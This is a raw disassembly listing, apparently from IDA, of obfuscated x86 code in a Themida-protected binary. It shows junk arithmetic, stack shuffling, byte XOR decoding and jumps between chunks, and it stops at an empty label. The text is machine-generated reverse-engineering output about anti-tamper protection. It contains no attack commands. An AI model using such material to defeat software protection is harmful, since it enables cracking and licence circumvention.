loc_56BE51:				; CODE XREF: Themida_:00561225j
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5631DD
; ---------------------------------------------------------------------------


loc_56BE76:				; CODE XREF: Themida_:0056A32Fj
		mov	[esp], ebp
		push	edx
		push	34690116h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		inc	edx
		push	ecx
		mov	ecx, 167113Dh
		add	ecx, 7544482Bh
		jmp	loc_568F05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56BE98:				; CODE XREF: sub_562A0A-29B4j
		add	dl, 0CCh
		sub	dl, ch
		sub	dl, 0CCh
		jmp	loc_570C2B
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_56BEA5:				; CODE XREF: Themida_:0056FF9Aj
		mov	eax, 2F847475h
		or	ebx, eax
		pop	eax
		neg	ebx
		sub	ebx, 50210185h
		sub	ebp, ebx
		jmp	loc_55F338
; ---------------------------------------------------------------------------


loc_56BEBC:				; CODE XREF: Themida_:0056A5AAj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		push	ebx
		mov	ebx, 34651822h
		jmp	loc_569F6B
; ---------------------------------------------------------------------------


loc_56BED1:				; CODE XREF: Themida_:00566DABj
		add	ebp, 2C350547h
		dec	ebp
		xor	ebp, 40A5644Ch
		jmp	loc_56F52C
; ---------------------------------------------------------------------------


loc_56BEE3:				; CODE XREF: Themida_:0056FF50j
		xchg	ecx, edx
		neg	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		jmp	loc_56F486
; ---------------------------------------------------------------------------


loc_56BEF2:				; CODE XREF: Themida_:0056D743j
		add	edx, ebp
		add	edx, 3B3A4CBBh
		push	edi
		jmp	loc_5632CB
; ---------------------------------------------------------------------------


loc_56BF00:				; CODE XREF: Themida_:0055D324j
		mov	esp, [esp]
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 6C0F1F8Ah
		xor	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 0AB02959h
		push	ebp
		jmp	loc_564569
; ---------------------------------------------------------------------------


loc_56BF26:				; CODE XREF: Themida_:0056EFA4j
		add	eax, edi
		jmp	loc_56C792
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_56C5BC
; ---------------------------------------------------------------------------


loc_56BF35:				; CODE XREF: Themida_:0055D5F8j
		push	ebx
		jmp	loc_569FBF
; ---------------------------------------------------------------------------


loc_56BF3B:				; CODE XREF: Themida_:00561368j
		push	ebx
		mov	ebx, 4E4C2DA0h
		or	ebx, 31873009h
		neg	ebx
		jmp	loc_564B86
; ---------------------------------------------------------------------------


loc_56BF4E:				; CODE XREF: Themida_:00561313j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 1877356h
		shl	esi, 1
		add	esi, 36D02F9Ch
		not	esi
		push	45FAh
		mov	[esp], ecx
		mov	ecx, 4E733AC9h
		add	esi, ecx
		pop	ecx
		add	esi, 0EB6BDB84h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_56E87F
; ---------------------------------------------------------------------------


loc_56BF8D:				; CODE XREF: Themida_:00569588j
		mov	edi, 1
		sub	ecx, edi
		pop	edi
		push	ecx
		jmp	loc_563040
; ---------------------------------------------------------------------------


loc_56BF9B:				; CODE XREF: Themida_:0056F967j
		mov	ebx, 5E0C4983h
		jmp	loc_560C3E
; ---------------------------------------------------------------------------


loc_56BFA5:				; CODE XREF: Themida_:0055F161j
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		jmp	loc_55F3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56BFB2:				; CODE XREF: sub_59DB3D-3190Cj
		pop	edi
		jmp	loc_55EDD0
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56BFB8:				; CODE XREF: Themida_:005634D7j
		push	edi
		mov	edi, 4
		add	edx, 41AF1363h
		jmp	loc_566839
; ---------------------------------------------------------------------------


loc_56BFC9:				; CODE XREF: Themida_:005645F8j
		pop	esp
		add	al, bl
		sub	esp, 2
		mov	[esp], dx
		push	ebx
		push	ecx
		mov	cl, 0C4h
		mov	bh, cl
		pop	ecx
		mov	dh, bh
		jmp	loc_5700E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56BFE1:				; CODE XREF: sub_59DB3D-3D659j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp+34h+var_32+2]
		pop	edx
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5697D7
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56BFFC:				; CODE XREF: Themida_:0055F8EFj
		xor	eax, 43D1631Eh
		dec	eax
		push	ecx
		mov	ecx, 5616081h
		sub	ecx, 0F71A760Eh
		add	eax, ecx
		pop	ecx
		jmp	loc_5658DF
; ---------------------------------------------------------------------------


loc_56C016:				; CODE XREF: Themida_:0056C3C0j
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, ecx
		jmp	loc_570F1D
; ---------------------------------------------------------------------------


loc_56C046:				; CODE XREF: Themida_:00567B6Ej
		pop	ebx
		push	edi
		mov	edi, 527C2EBFh
		inc	edi
		xor	edi, 1EE65892h
		push	eax
		mov	eax, 0F18DC265h
		add	edi, 2CF25A49h
		jmp	loc_55FF93
; ---------------------------------------------------------------------------


loc_56C065:				; CODE XREF: Themida_:005639D1j
		shl	ecx, 8
		sub	ecx, 1
		add	ecx, 34787996h
		push	esi
		mov	esi, 3EA2B491h
		sub	ecx, esi
		pop	esi
		jmp	loc_572169
; ---------------------------------------------------------------------------


loc_56C082:				; CODE XREF: Themida_:0056207Bj
		dec	bh
		xor	bh, 89h
		mov	ch, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5668F4
; ---------------------------------------------------------------------------


loc_56C095:				; CODE XREF: Themida_:0056AE01j
		pop	esp
		mov	[esp], edx
		jmp	loc_561BE3
; ---------------------------------------------------------------------------


loc_56C09E:				; CODE XREF: Themida_:005658E7j
		and	eax, 281C1A6Eh
		push	ebp
		mov	ebp, 18D6229Ch
		add	eax, ebp
		pop	ebp
		push	edi
		push	6A89h
		mov	[esp], ebx
		push	0D1B02D0h
		mov	ebx, [esp]
		jmp	loc_56BCA4
; ---------------------------------------------------------------------------


loc_56C0C2:				; CODE XREF: Themida_:005728B7j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		jmp	loc_56CC36
; ---------------------------------------------------------------------------


loc_56C0DE:				; CODE XREF: Themida_:0055E52Fj
		pop	eax
		jmp	loc_570A00
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56C0F4:				; CODE XREF: Themida_:0056280Ej
		mov	dword ptr [edi+24h], 66895156h
		inc	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_561AA6
; ---------------------------------------------------------------------------


loc_56C109:				; CODE XREF: Themida_:0056E9B5j
		shr	eax, 6
		push	edi
		mov	edi, 33040A35h
		push	eax
		mov	eax, 16A336DFh
		jmp	loc_56136D
; ---------------------------------------------------------------------------


loc_56C11D:				; CODE XREF: Themida_:0055D5C7j
		pop	ebp
		add	ebp, 4
		jmp	loc_56D68E
; ---------------------------------------------------------------------------


loc_56C129:				; CODE XREF: Themida_:0055EE31j
		xor	edi, ebp
		pop	ebp
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55F8AF
; ---------------------------------------------------------------------------


loc_56C13A:				; CODE XREF: Themida_:0055EF19j
		pop	edx
		jmp	loc_5615FA
; ---------------------------------------------------------------------------


loc_56C140:				; CODE XREF: Themida_:005648F6j
		popa
		popf
		jmp	locret_56D046
; ---------------------------------------------------------------------------


loc_56C147:				; CODE XREF: Themida_:00572732j
		mov	esi, 0C8F3CF8h
		xor	esi, edi
		pop	edi
		add	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_568D90
; ---------------------------------------------------------------------------


loc_56C15A:				; CODE XREF: Themida_:005689B0j
		mov	cl, ah
		mov	bh, cl
		jmp	loc_55F608
; ---------------------------------------------------------------------------


loc_56C163:				; CODE XREF: Themida_:0056FFCFj
		sub	ebx, 8453FC18h
		jmp	loc_565EF5
; ---------------------------------------------------------------------------


loc_56C16E:				; CODE XREF: Themida_:0056FE03j
		pop	esp
		shr	ecx, 0
		jmp	loc_56F1AF
; ---------------------------------------------------------------------------


loc_56C177:				; CODE XREF: Themida_:00571127j
		mov	ah, dh
		pop	edx
		pop	ecx
		mov	bh, 31h
		add	bh, ah
		jmp	loc_56999C
; ---------------------------------------------------------------------------


loc_56C184:				; CODE XREF: Themida_:005713D6j
		neg	dh
		xor	dh, 0C2h
		shr	dh, 4
		shr	dh, 3
		sub	dh, 0DBh
		and	ch, dh
		pop	edx
		add	ch, 0F7h
		sub	al, ch
		pop	ecx
		jmp	loc_567742
; ---------------------------------------------------------------------------


loc_56C1A0:				; CODE XREF: Themida_:00570285j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_55D364
; ---------------------------------------------------------------------------


loc_56C1A9:				; CODE XREF: Themida_:0055DA7Bj
		mov	ch, 0C4h
		jmp	loc_56AF5A
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56C1BA:				; CODE XREF: Themida_:0056A02Bj
		mov	edi, 6BFE538Eh
		jmp	loc_5629B9
; ---------------------------------------------------------------------------


loc_56C1C4:				; CODE XREF: Themida_:00571457j
		mov	[esp], edx
		jmp	loc_56828C
; ---------------------------------------------------------------------------


loc_56C1CC:				; CODE XREF: Themida_:0055F115j
		xor	eax, 68D505C3h
		add	eax, 114DE94Fh
		shl	eax, 3
		xchg	eax, ebp
		inc	ebp
		jmp	loc_565DD2
; ---------------------------------------------------------------------------


loc_56C1E0:				; CODE XREF: Themida_:0055F78Ej
		add	eax, ebp
		pop	ebp
		sub	eax, 6C66308Ah
		push	28FFh
		mov	[esp], ecx
		mov	ecx, 28EA467Eh
		jmp	loc_566C85
; ---------------------------------------------------------------------------


loc_56C1FA:				; CODE XREF: Themida_:0056999Fj
		sub	esp, 4
		jmp	loc_5709E3
; ---------------------------------------------------------------------------


loc_56C205:				; CODE XREF: Themida_:0055F508j
		mov	ebx, 53B91EDCh
		mov	eax, 0AC46E128h
		add	eax, ebx
		pop	ebx
		add	ebx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562080
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56C225:				; CODE XREF: sub_59DB3D-389B8j
		sub	eax, 11C92AC6h
		add	eax, edi
		add	eax, 11C92AC6h
		jmp	loc_56BFB2
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56C236:				; CODE XREF: Themida_:0056783Bj
		mov	[esp], edx
		mov	edx, 2
		jmp	loc_55E8ED
; ---------------------------------------------------------------------------


loc_56C243:				; CODE XREF: Themida_:0056B6FEj
		sub	ebx, 0FF25FB7Eh
		jmp	loc_5697AC
; ---------------------------------------------------------------------------


loc_56C24E:				; CODE XREF: Themida_:00563300j
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_57001B
; ---------------------------------------------------------------------------


loc_56C260:				; CODE XREF: Themida_:0056F2ACj
		pop	ebx
		add	al, 0B7h
		sub	al, bl
		push	6228h
		jmp	loc_568DE3
; ---------------------------------------------------------------------------


loc_56C26F:				; CODE XREF: Themida_:00562880j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edi, 39504BEEh
		sub	edi, eax
		add	edi, 39504BEEh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56D111
; ---------------------------------------------------------------------------


loc_56C296:				; CODE XREF: Themida_:0056FC74j
		pop	eax
		add	ebp, 572B7568h
		sub	ebp, 0A9728EAEh
		add	dword ptr [esp+4], 3315136Eh
		sub	dword ptr [esp+4], 6A904E47h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6A904E47h
		sub	dword ptr [esp+4], 3315136Eh
		jmp	loc_565EB5
; ---------------------------------------------------------------------------


loc_56C2CC:				; CODE XREF: Themida_:0056190Bj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_563EE8
; ---------------------------------------------------------------------------


loc_56C2E0:				; CODE XREF: Themida_:00560FFCj
		pop	edx
		push	esi
		push	ebx
		push	4C6A4405h
		pop	ebx
		push	1F46h
		mov	[esp], edi
		jmp	loc_562FD4
; ---------------------------------------------------------------------------


loc_56C2F6:				; CODE XREF: Themida_:0055FFEFj
		mov	[esp], ebx
		jmp	loc_5642D9
; ---------------------------------------------------------------------------


loc_56C2FE:				; CODE XREF: Themida_:0056A626j
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 5E22314Dh
		jmp	loc_560241
; ---------------------------------------------------------------------------


loc_56C311:				; CODE XREF: Themida_:00568AAAj
		push	370Eh
		mov	[esp], esi
		mov	esi, 6DE4699Ch
		shr	esi, 3
		and	esi, 156D7F5Fh
		or	esi, 5B6E743Eh
		not	esi
		xor	esi, 7412B6Ah
		xor	esi, 0A7D0A9ABh
		sub	edi, esi
		pop	esi
		jmp	loc_55F856
; ---------------------------------------------------------------------------


loc_56C343:				; CODE XREF: Themida_:00564D7Ej
		shr	ebx, 1
		shr	ebx, 2
		add	ebx, 96428E43h
		mov	edi, ebx
		jmp	loc_56A051
; ---------------------------------------------------------------------------


loc_56C355:				; CODE XREF: Themida_:0055F04Dj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6F0F75D4h
		sub	edi, 1
		push	esi
		push	edx
		mov	edx, 45F95E18h
		and	edx, 925396Ah
		xor	edx, 6BE659B0h
		mov	esi, edx
		pop	edx
		or	edi, esi
		pop	esi
		add	edi, 0B1A0E9B8h
		or	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55F4D8
; ---------------------------------------------------------------------------


loc_56C398:				; CODE XREF: Themida_:00567F1Fj
		add	esp, 4
		sub	esp, 4
		jmp	loc_567990
; ---------------------------------------------------------------------------


loc_56C3A6:				; CODE XREF: Themida_:00571B03j
		pop	eax
		add	eax, 0EB0ED8C8h
		xor	ebx, eax
		pop	eax
		mov	eax, ebx
		jmp	loc_5725CA
; ---------------------------------------------------------------------------


loc_56C3B6:				; CODE XREF: Themida_:00562359j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56C016
; ---------------------------------------------------------------------------


loc_56C3C5:				; CODE XREF: Themida_:0056729Ej
		dec	edx
		sub	edx, 10D47592h
		sub	ecx, edx
		pop	edx
		add	edi, ecx
		jmp	loc_5719FC
; ---------------------------------------------------------------------------


loc_56C3D6:				; CODE XREF: Themida_:005616E7j
		add	ebx, 4
		push	edi
		jmp	loc_56213F
; ---------------------------------------------------------------------------


loc_56C3E2:				; CODE XREF: Themida_:005708C5j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 67EB7F36h
		jmp	loc_56D9C7
; ---------------------------------------------------------------------------


loc_56C3F2:				; CODE XREF: Themida_:0056B9C8j
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 2DD56387h
		mov	ebp, eax
		pop	eax
		push	edi
		jmp	loc_57272D
; ---------------------------------------------------------------------------


loc_56C405:				; CODE XREF: Themida_:005601B8j
		add	ecx, 0D4288D3Ch
		add	ebp, ecx
		jmp	loc_571C38
; ---------------------------------------------------------------------------


loc_56C412:				; CODE XREF: Themida_:00570B7Aj
		mov	ebx, 115D4D3Ch
		neg	ebx
		inc	ebx
		jmp	loc_561D49
; ---------------------------------------------------------------------------


loc_56C41F:				; CODE XREF: Themida_:00568DDEj
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		pop	dword ptr [esp]
		push	eax
		mov	eax, 1
		add	edx, 1C7E50F1h
		push	31C6h
		jmp	loc_562774
; ---------------------------------------------------------------------------


loc_56C442:				; CODE XREF: Themida_:00564417j
		or	ebx, 49FD1137h
		add	ebx, 71654CA8h
		add	edx, ebx
		pop	ebx
		inc	edx
		jmp	loc_56D218
; ---------------------------------------------------------------------------


loc_56C457:				; CODE XREF: Themida_:005603B6j
		add	cl, bl
		pop	ebx
		sub	cl, 0CAh
		xor	dh, cl
		pop	ecx
		jmp	loc_56B09E
; ---------------------------------------------------------------------------


loc_56C465:				; CODE XREF: Themida_:0056DDE6j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	eax, 9047650h
		mov	ecx, eax
		mov	eax, [esp]
		push	esi
		push	edx
		push	esp
		pop	edx
		jmp	loc_5606A7
; ---------------------------------------------------------------------------


loc_56C482:				; CODE XREF: Themida_:0055DBD4j
		sub	ebp, 4
		jmp	loc_56D83B
; ---------------------------------------------------------------------------


loc_56C48D:				; CODE XREF: Themida_:0056948Bj
		mov	ch, 38h
		mov	ah, 0F3h
		sub	ah, ch
		pop	ecx
		jmp	loc_5652D1
; ---------------------------------------------------------------------------


loc_56C499:				; CODE XREF: Themida_:0056D1D4j
		push	ebp
		sub	esp, 4
		jmp	loc_561001
; ---------------------------------------------------------------------------


loc_56C4A5:				; CODE XREF: Themida_:0055D727j
		push	edi
		mov	edi, 5E0F0F03h
		shr	edi, 2
		xor	edi, 75573F2Ah
		jmp	loc_568245
; ---------------------------------------------------------------------------


loc_56C4B9:				; CODE XREF: Themida_:00569690j
		push	esi
		push	edx
		mov	edx, 231A17C6h
		jmp	loc_56E580
; ---------------------------------------------------------------------------


loc_56C4C5:				; CODE XREF: Themida_:005647ECj
		push	edi
		push	ebp
		mov	ebp, 6DD64552h
		mov	edi, ebp
		pop	ebp
		jmp	loc_56C857
; ---------------------------------------------------------------------------


loc_56C4D4:				; CODE XREF: Themida_:0056EDCEj
		push	esi
		mov	esi, 72983079h
		sub	ebx, esi
		pop	esi
		add	ebx, edi
		add	ebx, 72983079h
		push	dword ptr [ebx]
		sub	dword ptr [esp], 417C1987h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 317B7836h
		shl	ebx, 2
		neg	ebx
		shr	ebx, 4
		add	ebx, 3DDAF795h
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		push	ebx
		jmp	loc_55EC06
; ---------------------------------------------------------------------------


loc_56C52C:				; CODE XREF: Themida_:0056A2DAj
		shr	ebx, 2
		or	ebx, 28A836CBh
		jmp	loc_5662A3
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56C54A:				; CODE XREF: Themida_:0056310Fj
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_56BE06
; ---------------------------------------------------------------------------


loc_56C55D:				; CODE XREF: Themida_:005600D7j
		add	al, cl
		add	al, 48h
		sub	al, 22h
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_55EC27
; ---------------------------------------------------------------------------


loc_56C56F:				; CODE XREF: Themida_:0055E899j
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_56552C
; ---------------------------------------------------------------------------


loc_56C579:				; CODE XREF: Themida_:0055EA28j
		sub	al, 30h
		add	al, 55h
		shr	al, 3
		jmp	loc_572AE1
; ---------------------------------------------------------------------------


loc_56C585:				; CODE XREF: Themida_:0056D599j
		push	eax
		mov	eax, 4
		jmp	loc_55E5F7
; ---------------------------------------------------------------------------


loc_56C590:				; CODE XREF: Themida_:005666A1j
		pop	esp
		add	edx, 2
		push	26B6h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5648E1
; ---------------------------------------------------------------------------


loc_56C5A6:				; CODE XREF: Themida_:005625F2j
		xor	ebp, 6C373A09h
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 0BB857DAh
		jmp	loc_563DD1
; ---------------------------------------------------------------------------


loc_56C5BC:				; CODE XREF: Themida_:0056BF30j
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 94h
		push	small 1657h
		mov	[esp], cx
		mov	cl, 0FFh
		sub	bh, 42h
		push	edx
		mov	dl, 4
		jmp	loc_566ACD
; ---------------------------------------------------------------------------


loc_56C5DC:				; CODE XREF: Themida_:0056233Dj
		xchg	edx, [esp]
		jmp	loc_56ED09
; ---------------------------------------------------------------------------


loc_56C5E4:				; CODE XREF: Themida_:0056CA02j
		mov	esi, 2CEB3F64h
		not	esi
		or	esi, 2077321Ch
		sub	esi, 8B58F00Ah
		jmp	loc_55F937
; ---------------------------------------------------------------------------


loc_56C5FC:				; CODE XREF: Themida_:005655BDj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_56102B
; ---------------------------------------------------------------------------


loc_56C608:				; CODE XREF: Themida_:0056F767j
		push	edi
		jmp	loc_560C6C
; ---------------------------------------------------------------------------


loc_56C60E:				; CODE XREF: Themida_:00569432j
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	145Eh
		jmp	loc_570371
; ---------------------------------------------------------------------------


loc_56C61F:				; CODE XREF: Themida_:0055D9CAj
		pop	eax
		add	esp, 4
		jmp	loc_562A84
; ---------------------------------------------------------------------------


loc_56C62B:				; CODE XREF: Themida_:0055F9ADj
		pop	esp
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56C631:				; CODE XREF: Themida_:0056D7FEj
		pop	esp
		jmp	loc_571283
; ---------------------------------------------------------------------------


loc_56C637:				; CODE XREF: Themida_:005601F0j
					; Themida_:00568518j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56ECBB
; ---------------------------------------------------------------------------


loc_56C64A:				; CODE XREF: Themida_:00561A85j
		add	esp, 4
		add	esp, 4
		push	3E0Fh
		jmp	loc_5611E0
; ---------------------------------------------------------------------------


loc_56C65A:				; CODE XREF: Themida_:0056226Ej
		pop	esi
		jmp	loc_566864
; ---------------------------------------------------------------------------


loc_56C660:				; CODE XREF: Themida_:00571957j
		push	ebx
		push	eax
		jmp	loc_566E91
; ---------------------------------------------------------------------------


loc_56C667:				; CODE XREF: Themida_:00560636j
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, eax
		jmp	loc_564FD7
; ---------------------------------------------------------------------------


loc_56C673:				; CODE XREF: Themida_:005677FDj
		sub	[esp], eax
		push	ebp
		mov	ebp, 43135E74h
		sub	[esp+4], ebp
		pop	ebp
		add	dword ptr [esp], 12246E1Bh
		jmp	loc_56219B
; ---------------------------------------------------------------------------


loc_56C68D:				; CODE XREF: Themida_:0056803Fj
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 38382FE4h
		or	esi, 39827E56h
		inc	esi
		and	esi, 73DC6C41h
		neg	esi
		jmp	loc_571F87
; ---------------------------------------------------------------------------


loc_56C6B0:				; CODE XREF: Themida_:0056048Cj
		pop	ebp
		push	esi
		mov	esi, 6CF21E24h
		xor	ebp, esi
		mov	esi, [esp]
		jmp	loc_5703D2
; ---------------------------------------------------------------------------


loc_56C6C1:				; CODE XREF: Themida_:005696BFj
		shr	eax, 7
		jmp	loc_55D3F3
; ---------------------------------------------------------------------------


loc_56C6C9:				; CODE XREF: Themida_:0055DA9Fj
		sub	esp, 4
		jmp	loc_5726AC
; ---------------------------------------------------------------------------


loc_56C6D4:				; CODE XREF: Themida_:00568C77j
		mov	esi, 0DFB58B6h
		jmp	loc_5666B3
; ---------------------------------------------------------------------------


loc_56C6DE:				; CODE XREF: Themida_:0056D18Aj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56D30E
; ---------------------------------------------------------------------------


loc_56C6E7:				; CODE XREF: Themida_:00564FE1j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_57103B
; ---------------------------------------------------------------------------


loc_56C6FA:				; CODE XREF: Themida_:0055EA74j
		xor	[eax], ecx
		pop	eax
		jmp	loc_571886
; ---------------------------------------------------------------------------


loc_56C702:				; CODE XREF: Themida_:0056FD37j
		xor	[eax], ecx
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [edi+24h]
		push	edx
		jmp	loc_566239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_56C717:				; CODE XREF: sub_59DB3D-3C75Aj
		mov	dh, 89h
		dec	dh
		add	dh, 0Ah
		sub	ah, dh
		pop	edx
		mov	ch, ah
		jmp	loc_5604E1
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_56C728:				; CODE XREF: Themida_:00567194j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56C72D:				; CODE XREF: Themida_:0056F414j
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_570427
; ---------------------------------------------------------------------------


loc_56C740:				; CODE XREF: Themida_:00571EE1j
		pop	edx
		jmp	loc_5710B2
; ---------------------------------------------------------------------------


loc_56C746:				; CODE XREF: Themida_:00564266j
		mov	edx, ebx
		pop	ebx
		sub	ebp, 11414E52h
		add	ebp, edx
		add	ebp, 11414E52h
		pop	edx
		pop	edi
		sub	ebp, 4
		jmp	loc_56A25E
; ---------------------------------------------------------------------------


loc_56C761:				; CODE XREF: Themida_:0056DEE3j
		shl	ch, 3
		add	ch, 0D9h
		jmp	loc_55EDBF
; ---------------------------------------------------------------------------


loc_56C76C:				; CODE XREF: Themida_:005674B8j
		not	esi
		jmp	loc_5706DA
; ---------------------------------------------------------------------------


loc_56C773:				; CODE XREF: Themida_:0055EA46j
		add	esp, 4
		pop	ecx
		jmp	loc_56FE61
; ---------------------------------------------------------------------------


loc_56C77F:				; CODE XREF: Themida_:00566456j
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_568494
; ---------------------------------------------------------------------------


loc_56C789:				; CODE XREF: Themida_:0056564Bj
		pop	ebx
		mov	ebp, [esp]
		jmp	loc_570ACF
; ---------------------------------------------------------------------------


loc_56C792:				; CODE XREF: Themida_:0056BF28j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 657E7480h
		jmp	loc_5646A9
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56C7AA:				; CODE XREF: Themida_:0056371Ej
		shr	eax, 6
		add	eax, 74A73B90h
		not	eax
		add	eax, 15C4ECBAh
		sub	ebp, eax
		pop	eax
		push	4CBFh
		mov	[esp], ebx
		jmp	loc_570C11
; ---------------------------------------------------------------------------


loc_56C7C9:				; CODE XREF: Themida_:0056D4E3j
		mov	ebp, edx
		pop	edx
		jmp	loc_570D2C
; ---------------------------------------------------------------------------


loc_56C7D1:				; CODE XREF: Themida_:0055ED69j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56E775
; ---------------------------------------------------------------------------


loc_56C7E5:				; CODE XREF: Themida_:005727E8j
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	562Ah
		jmp	loc_567999
; ---------------------------------------------------------------------------


loc_56C7F9:				; CODE XREF: Themida_:0056DE74j
		push	ebp
		push	ebx
		jmp	loc_55EDC6
; ---------------------------------------------------------------------------


loc_56C800:				; CODE XREF: Themida_:005641E7j
		push	eax
		push	4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_572AF5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_56AB0D
; ---------------------------------------------------------------------------


loc_56C818:				; CODE XREF: Themida_:0055FF8Ej
		push	ecx
		mov	ecx, 2E513681h
		neg	ecx
		xor	ecx, 0D9AEC879h
		add	edi, ecx
		jmp	loc_56EF0E
; ---------------------------------------------------------------------------


loc_56C82D:				; CODE XREF: Themida_:00560393j
		sub	edi, 270A5B00h
		add	edi, ecx
		jmp	loc_56DC94
; ---------------------------------------------------------------------------


loc_56C83A:				; CODE XREF: Themida_:00570B80j
		not	ebx
		sub	ebx, 0C515DCBBh
		jmp	loc_570928
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562A0A


loc_56C847:				; CODE XREF: sub_562A0A+B4F5j
		push	edx
		mov	dl, 2Ch
		add	dl, 83h
		inc	dl
		push	ecx
		mov	cl, 4
		jmp	loc_56D396
; END OF FUNCTION CHUNK	FOR sub_562A0A
; ---------------------------------------------------------------------------


loc_56C857:				; CODE XREF: Themida_:0056C4CFj
